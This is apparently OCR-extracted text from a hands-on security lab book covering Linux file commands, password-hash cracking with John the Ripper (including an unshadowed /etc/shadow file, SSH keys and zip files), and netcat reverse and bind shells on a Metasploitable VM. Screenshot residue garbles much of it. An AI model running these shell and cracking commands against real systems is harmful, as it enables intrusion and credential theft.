done the the original file. The syntax for this looks like the following:

In <source> <destination>



=~/ Downloads
&, Txt

- Downlosds

PEF Ama¥

- Demnloads

- 4 Downloads
g Ixt odestinati

When the content of the target file changes, the source file is changed in the
same way.

~/Downloads @
destination.txt @—f

~/Downloads
source.txt destinatlion.txt
: source.txt
b9580df71825ed73 destination.txt

<@

sSstination. txt
f1a5091 source.txt
B89cP19df479bf1a5009 destination.txt

However, even if one copy is deleted, the information remains in the others,
undeleted.



~/Downloads
spurce.txt des

S5ource.txt

destination.txt

~/Downloads
source.txt destination.txt
md5sum: source.txt: No such file or directory
18d5ab&12450689c019dT479bf1a5091 destination.txt

Symbolic linking basically just references a file. The symbolic link itself has
no actual data in it at all and simply references another file. It is essentially
the same as a shortcut to a file on Windows. The syntax for a symbolic link
looks like the following:

In -s <realfile> <link>

If the original file is deleted, the link will be broken and there will be no
reference anywhere.



~/Downloads
realfile

~/Downloads
realfile linkedfile

~/Downloads

total 12

drwxr-xr-x 2 kali kali 49096 Apr
drwxr-xr-x 22 kali kali 4096 Apr
Irwxrwxrwx 1 kali kali Apr
-rw-r-—r-— 1 kali kali i2 Apr

~/Downloads

realfile

: E \ N
linkedf1 ]_ ef m

~/Downloads

~/Downloads

total 8

drwxr-xr-x 2 kali kali 49096 Apr 20:09

drwxr-xr-x 22 kali kali 49096 Apr 19: 40 %
lrwxrwxrwx 1 kali kali 8 Apr 20:09 —3

Task 4:

The next tool we will cover is find. This is an incredibly useful tool that is
also simple to use. It allows you to find files. This tool is especially useful if
you are partaking in CTF competitions or hacking servers and you have to
find a file with the flag in it. Using find, this can be done in seconds. This
tool can be used in a number of ways.

We can list all the files in a directory by typing the following:

find <directory path>



~§ann1uad5
JDo0T '(::)

fconfig-5.10.0-kali5-amd64
vmlinuz=-5.108.08-kali3-amd64&
Istem.map-5.10.0-kalil-amd6s
stem.map-5.10.0-kali5-amdbs

fconfig-5.10.0-kali3-amd6&
/initrd.img-5.10.0-kaliS5-amdé64

3/ themes

fthemes
‘ub/unicode.pf2

If it is necessary to search within the whole filesystem, use /.

If you want to search for files owned by a certain user, the example usage
would be as follows:

find /tmp -user kali

If we want to search directories that we do not own, the find command will
give many error messages. To suppress this, it is enough to append
“2>/dev/null” at the end of the command:

find /tmp -user kali 2>/dev/null



~/Downloads

i fsm-ICE-OK1700
ICE-unix/770

3/55h=-hI5ImabbsY91
)/ ssh-hIS5Ima6bSY91/

/tmp/.

kali

agent.

/dev/null

| S S oo =

/0

We can also list every file owned by a specific group using the following

command:

find /tmp -group root 2>/dev/null

It is also possible to search by referring to the opposite of a criterion. For this,
we put an exclamation mark just before writing the criteria:

find /etc ! -group root 2>/dev/null

~/Downloads

root

'|1|'1'
fﬂt--ahduuh
/postgre '1'|1
poOSTaTres
;nﬂati

.-"-.JT-..
Jetc
Jetc,
Jfetc -|_'|1_;|_1.Tr5|e q]
Jetc/postgres

_.-"r' LC/ lHI ST

|_11'|_,T ores

f 'a
¥ L,

] .Jr_
§ I_.; _:_.ID_I

fdev/null

C T'[
1den
hba.

In the above example, we wanted it to find files and directories that are not

under root group ownership.



We can use each file as a parameter to another command. In the example
below, the files that are not in the “root” group are displayed in detail with
the help of the “Is -al” command:

find /etc ! -group root -type f -exec Is -1 {} \; 2>/dev/null

~/Downloads

oot shadow 1032

Finally, we can search for a specific filename in a directory by typing the
following:

find /etc -iname “*.conf”

~/Downloads
Jetc k i Jdey/null
etc/mftables.conf

Jhdparm.conf

only ".conf” files

It is worth noting, however, that find can only show you the files which you
have permissions to view. If you don’t have admin privileges, you will be



unable to view files requiring those privileges.

Task 5:

The final tool we will be looking at is grep. This is one of the most useful
commands on Linux. Grep allows you to find data within data, which is very
useful when working with large files or large outputs. The typical syntax for
this tool looks like the following:

grep <search string> <file> <file>
grep -R -i “qwe123” /usr/share/wordlists/ 2>/dev/null

~f/Downloads

fusr/share/wordlists/ Jdev/null

VI

In the above example, the string “qwe123” has been searched regardless of
case, in all files in all sub-directories of the indicated path.

We can search for a string (for example, a password) in a file with a lot of
data and display the line number this string is at using the following
command:

grep -n -R -i “1q2w3e4r” /usr/share/wordlists/ 2>/dev/null

~/Downloads
] ; fusr/share/wordlists/ fdev/null

ﬁ s ; 2t V




Lab 60. Basic File Operations

Lab Objective:
Learn how to use some basic file operations in the Linux OS.

Lab Purpose:

File operations in Linux are used to modify file attributes such as
permissions, which allow users to read files, write to files, and execute
certain files.

Lab Tool:
Linux

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:

The first step is to open a terminal in Kali. All of the tools in this lab are
command line tools. We will begin with one of the most fundamental
commands in the Linux OS, 1s. This command can be used to list information
about every file and directory in a directory. To do this, open a terminal in
Kali and type the following:

Is



asdf.txt Desktop-82.cap

bestl050.txt Desktop-02.csv

bind.elf Desktop-02.kismet.csv
Desktop-082.kismet.netxml

captured.txt Desktop-82.log.csv

cert.der Desktop-83.cap

cracked. txt Desktop-83.csv

crackmel.bin Desktop-83.Kismet.csy
Desktop-03.kismet.netxml
Desktop-83. log.csv

Desktop .cap Desktop-84.cap

Desktop LC5V Desktop-84.csv

Desktop JKismet.csv Desktop-084.kismet.csv

Desktop-81.kismet.netxml Desktop-84.kismet.netxml

Desktop-01.log.csv Desktop-084.log.csv

You will notice that all files in your home directory are listed in the termnal.
We can add some flags to this command to show us more information about
the contents of a directory. These flags can be found on the help page for this
command, which can be found by typing the following:

Is --help

... -~

Usage: 1s [OPTION]... [FILE]...
List information about the FILEs (the current directory by default).
Sort entries alphabetically if none of -cftuvSUX nor --sort is specified.

Mandatory arguments to long options are mandatory for short options too.
=a, =--all do not ignore entries starting with .
-A, --almost-all do not list implied . and ..
--author with -1, print the author of each file
-b, --escape print E-St‘jl& escapes for nongraphic characters
-block-size=SIZE with -1, scale sizes by SIZE when printing them;

For example, the following command will show us all files and directories in
a directory, including the ones which start with:



Is -al

al 14084
: —x 64l T -

19| roe™=t root
root root
root root
root root 8
root root 20480 |[Mar 30 17:33|lalternatives
root root | Feb 23 ©5:29|apache2
root root 4096 |Mar 28 :@5|lapparmor
drwxr-xr-x 8| root root 4096 [Mar 31 23: :_'I.IZFD-ZI.I'"I'I'UI'.'E'

b

Xr-X
XT-X

1
3|
2|

In the figure above;

Permissions are in column 1,

User ownership in column 2,

Group ownership in column 3,

File size in column 4,

Date information in column number 5, and

Column number 6 contains the file / directory name.

Task 2:

The next command is a very simple one. You can create zero-sized files
using the touch command. Open a terminal and type the following to create
an empty file in the root directory called example.txt:

touch /root/example.txt

Task 3:

The next command we will be using is called cat. Cat is short for concatenate,
which means this command will output the contents of files to the console.
For example, we can output the contents of the “example.txt” file we created
in the task above, by typing the following:

cat /root/example.txt



@ -
t Jroot/example.txt

t cracked. txt

eb6leead90e3b899c6bcbe27ac581660 :HELLO

75b71aa6842e450f12acab0fdf54c51d: P455wOrd
2c9341cadcf3d87b%edeb905dba3ecd5:Testl234
95815228812d2303ae045cTfc43a02cd :MYSECRET

Task 4:
In order to run a binary file in Linux OS, this attribute must be defined in that

file. Unlike Windows, extensions do not determine the executable attribute of
the file. When you need to give an attribute to a file that you know is
executable, the following sample command can be written:

chmod +x ~/file

These files can be executed by providing the absolute path. For example, if
you saved an executable binary file to the home directory of kali user, this
would be the command to execute this file:

~/file or calling with full path /home/kali/file




Task 5:
This final command allows us to change the user without having to log out

and log back in again. For instance, if we are logged in as the “kali” user and
want to change to “root”, we would run the following command:

sudo su —

When asked, enter “kali” as default password if it has not been changed
before.

type kali's pwd here

©

Then, change to “kali” user again:
su — kali

There’s no need to input password when changing from “root” user to any
unpriviledged user like “kali”.



Lab 61. Advanced File Operations

Lab Objective:
Learn how to use some advanced file operations for easier file manipulation.

Lab Purpose:
File operations are used in Linux to create, read, write, reposition, delete, and
truncate files.

Lab Tool:
Kali Linux

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
The first step is to open a terminal in Kali. All of the tools in this lab are
command line tools.

We will begin this lab by covering the file operation chmod. This operation
allows you to set different permissions for a file and control who can read it.
These permissions are set using a three digit number. Each digit controls a
specific permission. The first digit covers the permissions for a user, the
second covers permissions for a group, and the third covers permissions for
everyone who is not a user or part of a group.

How permission works is summarized in the figures below:



user group others

# 1s -1 file
~rw=r=-=r=— 1 root root @ Nov 19 23:49 file

Readable

Writeable

Executable
= Denied

Owner (rw-)

Each permission section has (r, w, x) attributes. According to the purpose, the
decimal number corresponding to each section is calculated. For example, if
you want to give only read and write permission for a file’s users section, its
numerical equivalent will be 6. If you want to give only reading privilege to
group sections, its numerical equivalent will be 4. If you want to give read
and execute authority to the others section, the numerical equivalent of this
will be 5.



22 EEEEE
0+0+0) 0+0+0 Q+0+0

- ' w
&) (4) (5)

When we write them side by side, the permission string looks like this: 645

The syntax for this command looks like the following:

chmod 645 filename

These digits are typically used together to form a set of permissions for a file.

If we want to allow everyone on the system to read, write, and execute a file,
we can specify the following command:



chmod 777 file.bin
To revoke all accesses from same file, the command would be:

chmod a-rwx file.bin

7177 file ¢==__®

file
-rwxrwxrwx 1 kali kali 23 Apr

Task 2:

The next command we will cover is chown. This command is used to change
the attributes of a file to different users and groups. For example, we could
change ownership of file.bin to “kali” and group “kali” with the following
command:

chown kali:kali file.bin

Lrwxrwxrwx 1 root root 11 Nov 17 87:26 __

-ruxrwxrwx 1/ kali kali |<Jooticfobes=13+06| file.bin
3 root root 4096 Feh 28 13:14

Note: this is only possible if you have greater permissions than the other user.
This tool is therefore best used as the root user. This tool can also be used to
change the group owner of a file without changing the user, which can be
done with the following command:



chown :root file.bin

Lrwxrwxrwx 1 root root 11 Nov 17 ©7:26
-rwxrwxrwx 1 kali| root |<(oociErbcd23=86~|file.bin

drwx----- - 3 root TGOT 4096 Feb 20 13:14

Task 3:

The next command we will cover is mv. This command allows you to move
files from one place to another. The syntax for this command looks like the
following:

mv file.bin /tmp/

~/wordlists

®

~/wordlis
nmap.lst /tmp

renamed ‘nmap.lst® = "“/tmp/nmap.lst’

This command can be use for renaming a file.

Task 4:

The final command we will cover in this lab is rm. This command is used to
remove files and directories from your system. You should be very careful
when using this command as removing a critical file or directory from your
system could cause irreversable damage! The syntax for this command looks
like the following:

rm -rfv wordlists



wordli
removed |"wordlists

| removed dlists/fern-wifi’

| removed dlists/dirbuster’
|removed |’ *dlLists/
|removed | 'wordlists you.txt.gz"
remoy wordlists/metasploit’
wordlists/nmap.lst’
wordlists/dirb"’
directory 'wordlists’




Lab 62. Cracking Basic Hashes with
John the Ripper

Lab Objective:
Learn how to use John the Ripper to crack password hashes.

Lab Purpose:
John the Ripper is a free password cracking software tool. It works by using
the dictionary attack method to crack passwords.

Lab Tool:
Kali Linux

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
This tool comes pre-installed on Kali. If, for some reason, it is not installed
on your OS, you can install is using the following command:

sudo apt install john

We will begin by looking at the help screen for this tool. We can do this by
typing the following:

john



John the Ripper 1.9.6-jumbo-1 OMP [Llinux-gnu 64-bit x86 64 AVX AC]
Copyright (c) 1996-2019 by Solar Designer and others
Homepage: http://www.openwall.com/john/

Usage: john [OPTIONS] [PASSWORD-FILES]
--single[=SECTION[,..]] *single crack® mode, using default or named rules
--single=:rule|,..] same, using "immediate" rule(s)
--wordlist[=FILE] --stdin wordlist mode, read words from FILE or stdin
- =plpe like --stdin, but bulk reads, and allows rules

The basic syntax for this tool looks like the following:
John <options> <path to file>

When using formats with john, you can use all the available formats by
typing the following command:

john --list=formats

descrypt, bsdicrypt, mdScrypt, mdScrypt-long, bcrypt, scrypt, LM, AFS,
tripcode, AndroidBackup, adxcrypt, agilekeychain, aix-sshal, aix-ssha256,

aix-ssha512, andOTP, ansible, argon2, as480-des, as400-sshal, asa-md5,
AxCrypt, AzureAD, BestCrypt, bfeqg, Bitcoin, BitLocker, bitshares, Bitwarden,
BKS, Blackberry-E518, WoWSRP, Blockchain, chap, Clipperz, cloudkeychain,
dynamic n, cq, CRC32, shalcrypt, sha256crypt, shaSl2crypt, Citrix NS16,
dahua, dashlane, diskcryptor, Django, django-scrypt, dmd5, dmg, dominosec,

We will be covering this in more detail later in the lab.

Task 2:

John has a useful function. When we provide a hash file for John to crack, it
will attempt to guess the hash type before attempting to crack it. To begin,
copy and save the following hash to a text file:

2e728dd31fb5949bc39cac5a9f066498



hastl.txt

27 2Rdd31thS9490hc 30CACHSa0TOAABLOR

Once this is done, type the following to provide John with the file to crack:

john hash1.txt

2 =
hashl.txt
Warning: cognized as “dynamic=md5(Sp)”
the *® ¥ { orce loading these as that type instead
: detecte ype "LM®, but the string 1is &2 ognized as “HAVAL-128-4*

“--format=HAVAL-128-4" option to force loading th as g ype instead
: detected hash type "LM", but the string is also re
format=MD2" option to force loading these
Warning: detected hash type "LM", but the string is als q
Use the "--format=mdc2” option to force loading these as that type instead

As you can see, John will attempt to guess the type of hash, but it is not
always accurate. It is better if we first analyse the hash type ourselves before
telling John which hash we are trying to crack. We can do this by visiting the
following site:

https://gchg.github.io/CyberChef/

This tool can be used to analyse any hash we provide and tell us the type of
hash it is. Copy the hash above and paste it into the Input section. Type
“analyse” in the search box on the left hand side, then drag the “Analyse
Hash” box into the Recipe section.


https://gchq.github.io/CyberChef/

Operations .
Recipe Q" Input @/J
analyse p 2 5 39F BE5S
Analyse hash 2e7284431Fb59200¢ 39¢ Ac5a9F DE6A98
Analyse hash ,
:-\.\:‘ 3
'-LJ:_.;-. - .1
g
-
" -
,‘\f' ) ilmé: 1m%
Output 27 iogtn: 123
1§; Lines: 12
Hash length: 32 -
Byte length: 16
Bit length: 128 '
Based on ':N‘ ; this hash could have been generated by ane of the following hashing functions:
D5 m—
MO t - *
—— - U # E iam
MD2 9 J—
HAVAL -128 =/ J
RIPEMD-128 —— .
snefru ‘\/

Tiger-128

The site will then analyse the hash and tell us its format. We can see that this
hash could be one of seven options.

Task 3:
Now that we have this information, we can return to John and attempt to
crack this hash. Open a terminal and type the following command:

john hash1.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-md5

Let’s break this command down:

e The --format section tells John the format of the hash we are
trying to crack. In this case, the format is MD5. The word “raw”
before the format type indicates to John that there is no salt being
used in the hash.




e The --wordlist section tells John the wordlist we will be using
to crack the hash. You must uncompress first if this file has .gz
tail.

¢ Finally, we need to specify the path to the file to be cracked.

To learn what we got, just type this comand:
cat ~/.john/john.pot

You will see your plain password near to hash value which is “biscuit” in this
case.

Task 4:
Let’s crack a hash with a different format. Use the following hash and
determine its hash type and crack it with John.

4bcb66d2a9047413225ea0b9fab1b0a2ac0393e5

We will first go to the site above and analyse the hash again.

Once this is done, we can take this information and return to John. We can
craft the following command to crack the hash:

john hash?2.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-shal



Task 5:

We will now use John to crack an NTLM hash. This type of hash is how
Windows stores user and service passwords. It is useful to know how to
obtain and crack these types of passwords for penetration tests. Copy the hash
below and save it to a text file:

5460C85BD858A11475115D2DD3A82333
Then, open a terminal and type the following in an attempt to crack the hash:

john hash3.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=nt




Task 6:
You can create your own hash files and try to hack them with various word
dictionaries. Here are some usage samples:

echo -n “secret” | md5sum | cut -f 1 -d “ “ > hash1.txt

echo -n “secret” | shalsum | cut -f 1 -d “ “ > hash2.txt

echo -n “secret” | sha256sum | cut -f 1 -d “ “ > hash3.txt

echo -n “secret” | openssl dgst -sha512 | sed “s/(stdin)=//" > hash.txt

To create Windows NTLM hash:

iconv -f ASCII -t UTF-16LE <(printf “mushroom”) | openssl dgst -md4 |\
sed “s/(stdin)=//" > hash.txt

You can learn which hashing mechanisms are supported by openssl by typing
this command,;

openssl dgst -list



Lab 63. Cracking Advanced Hashes
with John the Ripper

Lab Objective:
Learn how to use John the Ripper to crack more advanced password hashes.

Lab Purpose:
John the Ripper is a free password cracking software tool. It works by using
the dictionary attack method to crack passwords.

Lab Tool:
Kali Linux

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:

In the previous lab, we cracked an NTLM hash. This is a type of hash used
by Windows OS for authentication purposes. In this lab, we will be cracking
the hashes contained in the “/etc/shadow” file on Linux OS. This requires a
few extra steps.

The /etc/shadow file contains password hashes for all users and services on a
system. The /etc/passwd file contains details about each user on a Linux OS.
In order to use John to crack the hashes in the shadow file, we need to
combine both of these files so that John can make sense of the information
we are providing it with. To do this, we need to use the “unshadow” tool that
comes built-in with the John package. The syntax for this tool looks like the
following:



unshadow /etc/passwd /etc/shadow > passwords.txt

o &
passwords. txt
root: $6$F8/vIzxUPv1InL9yC$tHFUD2yadrmIZgi7Cite0gLWYwSmosRiSGq. eFs1MZnYUUV4A I8k4abnNaQSRdw

daemon:*: jl - l daemon: Jusr/soln SduUsrysolnysno L f_]-g 1n
¥ i in/nologin
fsbin/nologin

Then, once we have this information, we can use this file to crack the
passwords for all users on the system with the following command:

john --format=sha512crypt --wordlist=/usr/share/wordlists/rockyou.txt passwords.txt

Depending on the strength of your passwords, you may or may not find the
cleartext password for the users on your system.

Task 2:

We will now look at a different function for password cracking in John called
single mode. This mode doesn’t use a wordlist in an attempt to crack hashes.
Instead, it uses information such as the username of the user or the service a
user is logged into. It takes this information and trys to work out the
passwords by slightly changing the numbers and letters contained in the
username. For example, if the username is John, the tool will try John1,
John123, JOhN! etc. This process is known as word mangling, and can be
very effective when attempting to crack a user’s password.

For this task, use the same passwords.txt file as the previous task. Open a



terminal and type the following:
john --single --format=sha512crypt passwords.txt

e The --single section tells john to use single crack mode.

Z different salts

count) is 5008 for all loaded hashes

Will run 4
Press |
Warni Onl ) current salt, minimum 8 needed for performance.
toor
56) 186.89/s 1888p/s /s rootroot. .RootRoot
all of the cracked pz ably

As you can see, we have found the password for root, toor, which is simply
root spelled backwards.

Task 3:
To see all cracked passwords for a file, simply type the following:

john --show passwords.txt

: : ®
passwords. txt
root:toor:8:0:root:/root:/usr/bin/zsh

kali:kali:1eee:1000:Kali,,,:/home/kali:/usr/bin/zsh

2 password hashes cracked, @ left

As you can see, using the commands covered in this lab, we have managed to
crack the passwords for both the user kali, which is “kali”, and the root user,
whose password is “toor”.



Lab 64. More Advanced Uses of
John the Ripper

Lab Objective:
Learn how to use John the Ripper for more advanced password cracking
techniques.

Lab Purpose:
John the Ripper is a free password cracking software tool. It works by using
the dictionary attack method to crack passwords.

Lab Tool:
Kali Linux

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:

In the previous lab, we looked at cracking the password hashes contained in
the /etc/passwd file in Linux OS. In this lab, we will be covering how to
crack SSH keys using John, as well as how to crack password protected file
archives. Both of these techniques are often used as part of CTF (Capture The
Flag) competitions as well as penetration tests.

We will begin by looking at cracking SSH keys. Let’s create a protected SSH
key whose password is “mango”. Type this command on the terminal screen:

openssl genrsa -aes128 -out rsa.key 1024



When asked for the password, type “mango” twice. Our SSH key file was
created as rsa.key.

genrsa rsa.key 1024
1g RSA private key, 1024 bit long modd

g it B5E (0=P100a1)
Enter pass phrase for rsa.key:
Verifying - Enter pass phrase

S cat ey ey
"'ur_l_u-i RSA PRIVATE KEY
Proc-Type: &4,ENCRYPTED
DEK-Info: AES-128-CBC,D13FFF30B5647A0691A447DOSB1CEB3D

WFIbYehc1lK@9glr+yPd/1
= WoTkijligl

SSH keys are used to login to a device through SSH. This key will require a
password for authentication before allowing the user to use their SSH key to
login. We will be attempting to crack this password.

In order to do this, we need to convert the private key which is used to login
to the SSH session into a type of hash format which John can understand. We
will be using the “ssh2john” conversion tool to achieve this.



Task 2:
We will convert this file using the following command:

ssh2john <rsa key file> > <output file>
The ssh2john tool can be found in the following directory:
/usr/share/john/ssh2john.py

This means, that when using this tool, we will have to include the path to this
directory in the command. Note: Do not use python3 with the following
command as it will not work.The command will look like the following:

python /usr/share/john/ssh2john.py rsa.key > outputfile.txt

This is what the resulting file will look like:

£

at outputfile. txt
rsa.key:%sshr 65D13FFF30B564 7 AL

Once this is done, we can run a very simple command using John to display



the SSH password for this user in plaintext:

john outputfile.txt --wordlist=/usr/share/wordlists/rockyou.txt

% | J
11 loaded hashes

false positives, so it will keep trying even after
almost any other key for status

~02 20:22) 0.07911g/s 1134Kp/s 1134Kc/s 1134KC/sab_123..

We can see in the screenshot above that the password is “mango”, as
expected.

Task 3:

The itfinal task we will be performing with John will be cracking a password
protected Zip file. To do this, we will first have to create our own password
protected zip-file. This can be done by creating a text document and then
typing anything you like in the document. Save the file, zip it, and set the
password as “mango” without the quotes, by typing the following command:

date > testfile.txt
zip -re task.zip testfile.txt

'|' |_-I. 1:, t 1! 1 ] |::. ]‘_T W T @:ﬁsﬂ

£

task.zip testfile.tx
Enter password:
Verify password:
adding: testfile.txt




You will then be asked to enter a password, set it as mango.

Once this is done, you should now be able to see a zipped file on your Linux
system. We will now be using the “zip2john” tool to crack this password.
This can be done using the following command:

zip2john task.zip > output.txt

ver 5455 t: ip/ . 2b chk, TS_chk, cmp

tRt:$pkzip251#242%Q*2c*20+ff2efBad*0*46%0*2Ccxff:
abd3sddbestfda 1810a9 46T 571573f01bfaal1fon
‘testfile.txt:task.zip:: task.

This will create a hash of the zipped folder which John is able to crack.

We can use John to crack this hash by typing the following:

john output.txt --wordlist=/usr/share/wordlists/rockyou.txt

m~

QUTPDUT,TXT
Jsing default input

oaded 1 p

| other key for status

13.332/s 273066p/s 273066cC/s 273066C/s

on to display all of the cracked passwords reliably

You will see John come up with “mango” as the password for the zipped file.



Lab 65. Establishing a Reverse Shell
with Netcat

Lab Objective:
Learn how to use netcat to establish a reverse shell on a target machine.

Lab Purpose:
Netcat is a computer networking utility for reading from and writing to
network connections using TCP or UDP.

Lab Tool:
Kali Linux VM and Metasploitable VM

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:

In this lab, we will be using netcat to create a reverse shell on a
metasploitable machine. If you are unfamiliar with metasploitable, it is an
intentionally vulnerable machine which can be loaded in VMware or
VirtualBox, the same as Kali Linux. You can download the metasploitable
ISO file here: https://docs.rapid7.com/metasploit/metasploitable-2/

You can find a lot of material on this page on how to download and setup the
Metasploitable VM.


https://docs.rapid7.com/metasploit/metasploitable-2/

Harning : Hever expose this U i unirus getwork?
Contact: msfdevlat asploit.com [T—lgfadrﬂirl

Login with meslfadnin-nsfadmin to get started

netasploitable login

We will use both Kali Linux and Metasploitable for this lab. Remember to
put both machines on the same isolated host-only network to talk to each
other. When login is required, you will enter “msfadmin” as username and
password.

Task 2:

Setting up a reverse shell with netcat is very straighforward. The way a
reverse shell works is by creating a listener on our attack machine and getting
the target to connect back to this listener.

First, let’s find out the ethO IP address of our Kali machine and write it down.
We will use this information on our Metasploitable VM. Open a terminal in
your Kali machine and type these following commands:

sudo su -
ifconfig
nc -1 -v-n -p 443



e have kKep 1 polnting ta Python 2 for Dackwards

compatibilit ) ge this and id this message:

» hitps://ww.kali.org/ s/eeneral-use/python3-transition

192.168.56.103 is the IP address of our Kali VM in this case.

The syntax for starting a listener on a attacker machine looks like the
following:

nc -1 -v-n -p 443

-] tells netcat that this will be a listener

-v is used to show us a verberos output

-n tells netcat not to use DNS or resolve host names
-p tells netcat which port to listen on

Task 3:

We will now switch to our target machine, which is Metasploitable VM. We
can use a number of payloads to get this machine to connect back to our
attack box, but, for now, we will simply be using netcat to demonstrate how
this works. Open a terminal on the Metasploitable VM and type the
following:



sudo nc 192.168.56.103 443 -e /bin/bash

You will then be asked for a password for sudo, the password by default is
“msfadmin” without quotes.

T

qa.~<"/’—\r,—:————=="®

listening on [any] 44
connect to [192.168.56.103] trom (UNKNOWN) [192.168.56.1082) 60607

whoaml
e ﬂ}_ @

£ ,1

uid=0(root) gid=8(root) groups=@(root) _@@

You will now have a shell connecting your Kali machine through netcat to
the target metasploitable machine. As you can see, you are now able to
execute commands from your Kali machine on the Metasploitable VM.



Lab 66. Establishing a Bind Shell
with Netcat

Lab Objective:
Learn how to use netcat to establish a bind shell on a target machine.

Lab Purpose:
Netcat is a computer networking utility for reading from and writing to
network connections using TCP or UDP.

Lab Tool:
Kali Linux VM and Metasploitable VM.

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:

In this lab, we will be using netcat to create a bind shell on a metasploitable
machine. If you are unfamiliar with metasploitable, it is an intentionally
vulnerable machine which can be loaded in VMware or VirtaulBox, the same
as Kali Linux. You can download the metasploitable ISO file here:
https://docs.rapid7.com/metasploit/metasploitable-2/

You can find a lot of material on this page on how to download and setup the
metasploitable machine.


https://docs.rapid7.com/metasploit/metasploitable-2/
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Login with nslfadminsmnsfadnin to get started

netasploitable login: _

We will use both Kali Linux and Metasploitable for this lab. Remember to
put both machines on the same isolated host-only network to talk to each
other. When login is required, you will enter “msfadmin” as username and
password.

Task 2:

Setting up a bind shell with netcat is not as straightforward or practicle as a
reverse shell, but is still useful to know. To begin, we will go to our
Metasploitable VM and open a terminal. The way a bind shell works is by
creating a listener on our target machine and connecting to this listener from
our attack machine. Bind shells are not as commonly used as reverse shells as
firewalls often prevent outside connections to machines in this way.

However, if a reverse shell does not work on a target, it is worth trying a bind
shell.

First, let’s find out the ethO IP address of our Metasploitable VM and write it
down. We will use this information on our Kali VM. Open a terminal screen
in Metasploitable VM and type this command:

ifconfig



nsfadnin@netasploitable:™5 ifconfig

etho Link encapiE
inet addn: . 92. 5 Hask:255.255.
ineth . i scope:Link
UP BROA ST R L Hetric:1

frame:0
jer:0

( Z KB)Y TX bytes:
020 Henory:foZ00000-f

192.168.56.102 is the IP address of our Metasploitable VM in this case.

Then, type the following commands:

sudo su -
sudo nc -lvnp 443 -e /bin/bash

©)

nsfadnintnetasploitable:™5 sudolnc lunp 443 -e& shinsbazh

[sudo] password for msfadmin:
li -:[r."uill!| on Lanyl 443
connect to [192.168.56.1802]1 from (UNKNHOWM) [19Z2.168H.56.1831 37036

local IP Kali VM

You will then be asked for a password for sudo, the password by default is
“msfadmin”.

-] tells netcat that this will be a listener

-v is used to show us a verberos output

-n tells netcat not to use DNS or resolve host names
-p tells netcat which port to listen on

Task 3:
We will now switch to our attack machine, which is our Kali machine. We



can use a number of payloads to get the target machine to open a port and
listen for connections, but, for now, we will simply be demonstrating how
this works using netcat. Open a terminal screen on the Kali VM and type the
following:

nc 192.168.56.102 443

192.16B.56.182 443 ,/\51::7_ @ @

whoaml

@

uid=@(root) gid=0(root) groups=0(root)

You will now have a shell connecting your Kali machine through netcat to
the target metasploitable machine. As you can see, you are now able to
execute some commands (whoami, id) from your Kali machine on the
Metasploitable machine.



Lab 67. How to Stabilise Netcat
Shells

Lab Objective:
Learn how to use various methods to stabilise netcat shells on a target
machine.

Lab Purpose:
Netcat is a computer networking utility for reading from and writing to
network connections using TCP or UDP.

Lab Tool:
Kali Linux and Metasploitable VM.

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:

In this lab, we will be using netcat to create a reverse shell on a
metasploitable machine. If you are unfamiliar with metasploitable, it is an
intentionally vulnerable machine which can be loaded in VMware or
VirtualBox, the same as Kali Linux. You can download the Metasploitable
ISO file here: https://docs.rapid7.com/metasploit/metasploitable-2/

You can find a lot of material on this page on how to download and setup the
Metasploitable VM.


https://docs.rapid7.com/metasploit/metasploitable-2/
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Login with asfadminsnsfadnin to get started

netasploitable login: _

We will use both Kali Linux and Metasploitable for this lab. Remember to
put both machines on the same isolated host-only network to talk to each
other. When login is required, you will enter “msfadmin” as username and
password.

Task 2:

If your are unsure how to establish a reverse shell on a target machine, please
revisit the previous lab which details how to do this. In this lab, we will be
using a numer of techniques to stabilise our established shell. Note: this
works for other shells and not just shells gained through netcat, so these
techniques are both important and useful to know.

Begin by establishing a reverse shell between your Kali VM and your
Metasploitable VM.

You may notice that this is quite an unstable shell. For instance, it is simple
to completely kill the shell by pressing ctrl + c. You may also notice that the
shell is non-interactive. This means that we cannot interact with programs
after executing them. For example, when launching SSH, it asks you if you
are sure you want to connect to a host and requires us to type Yes. We cannot
do this with a non-interactive shell, as we are limited to using programs
which do not require user interaction in order to run properly.

The reason for this is because netcat shells are actually processes running
inside a terminal, rather than actually being a terminal itself. This lab will



focus on getting us out of the process and into the raw terminal.

Task 3:

With your reverse shell established between your Kali VM and your
Metasploitable VM, we will attempt the first stabilisation technique using
Python. This technique typically only works on Linux machines as Python is
installed by default.

Step 1 — This entire process will be done using the shell connecting our Kali
VM to our Metasploitable machine. The first thing to do is to type the
following into our shell:

python -c ‘import pty;pty.spawn(“/bin/bash”)’

This command uses python to spawn a bash shell which contains better
features. Some targets may need you to specify Python2 or Python3,
depending on the version installed on the system. Our shell will now look
more like a fully featured shell, but we still wont be able to use features such
as autocomplete or the arrow keys, and ctrl + c will still kill it.

Step 2 — For the next step, we will type the following:
export TERM=xterm

This command wil give us access to terminal commands such as clear.

Step 3- Now, press the ctrl + z key combination. Don’t be afraid if the shell
breaks, we’ll get it back on next step.

Step 4 — Finally, in our normal Kali terminal, we will now type the following
commands:

stty raw -echo
fg

This command will turn off our own terminal echo, which will give us access
to autocompletes, arrow keys, and ctrl + c to kill processes. The fully
functioning shell will then be brought back to the foreground and the screen



will be cleared after reset command:
reset

You can see a demonstration of the full technique here:

-
raw
+ continued nc -lvnp 443

sfadminame

You can exit this shell and return to yor Kali terminal by typing exit. You can
also reset the echo that we turned off earlier, by typing “reset” in your
terminal. Do this if you think your terminal looks strange.



Lab 68. Getting a Reverse Shell
Using Socat

Lab Objective:
Learn how to use the socat tool to get a reverse shell on a target.

Lab Purpose:

Socat is a command line-based utility that established two bi-directional byte
streams and transfers data between them. Socat can be used for many
different purposes due to its versatility.

Lab Tool:
Kali Linux and Metasploitable VM.

Lab Topology:
You can use Kali Linux in a VM for this lab.

